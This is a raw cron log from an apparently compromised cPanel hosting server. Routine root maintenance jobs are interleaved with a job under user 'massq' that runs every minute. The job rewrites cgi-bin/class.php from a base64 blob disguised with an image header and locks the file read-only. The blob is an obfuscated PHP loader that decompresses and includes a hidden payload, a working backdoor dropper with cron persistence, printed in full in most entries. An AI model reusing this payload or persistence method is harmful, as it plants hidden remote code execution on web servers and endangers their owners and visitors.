Sep  1 08:24:01 server CROND[28640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:24:01 server CROND[28641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:25:01 server CROND[29021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:25:01 server CROND[29020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:25:01 server CROND[29029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:25:01 server CROND[29028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:25:01 server CROND[29030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:25:01 server CROND[29034]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 08:25:01 server CROND[29038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:25:01 server CROND[29037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:26:01 server CROND[29845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:26:01 server CROND[29846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:26:01 server CROND[29847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:27:01 server CROND[30315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:27:01 server CROND[30316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:27:01 server CROND[30317]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:27:01 server CROND[30318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:28:01 server CROND[30696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:28:01 server CROND[30697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:28:01 server CROND[30698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:29:01 server CROND[31089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:29:01 server CROND[31090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:29:01 server CROND[31091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:30:01 server CROND[31477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:30:01 server CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:30:01 server CROND[31487]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:30:01 server CROND[31492]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 08:30:01 server CROND[31489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:30:01 server CROND[31493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:30:01 server CROND[31495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:30:01 server CROND[31488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:30:01 server CROND[31490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:31:01 server CROND[32315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:31:01 server CROND[32316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:31:01 server CROND[32317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:32:01 server CROND[339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:32:01 server CROND[340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:32:01 server CROND[341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:33:01 server CROND[754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:33:01 server CROND[755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:33:01 server CROND[756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:34:01 server CROND[1177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:34:01 server CROND[1178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:34:01 server CROND[1179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:35:01 server CROND[1604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:35:01 server CROND[1610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:35:01 server CROND[1611]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:35:01 server CROND[1607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:35:01 server CROND[1606]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 08:35:01 server CROND[1608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
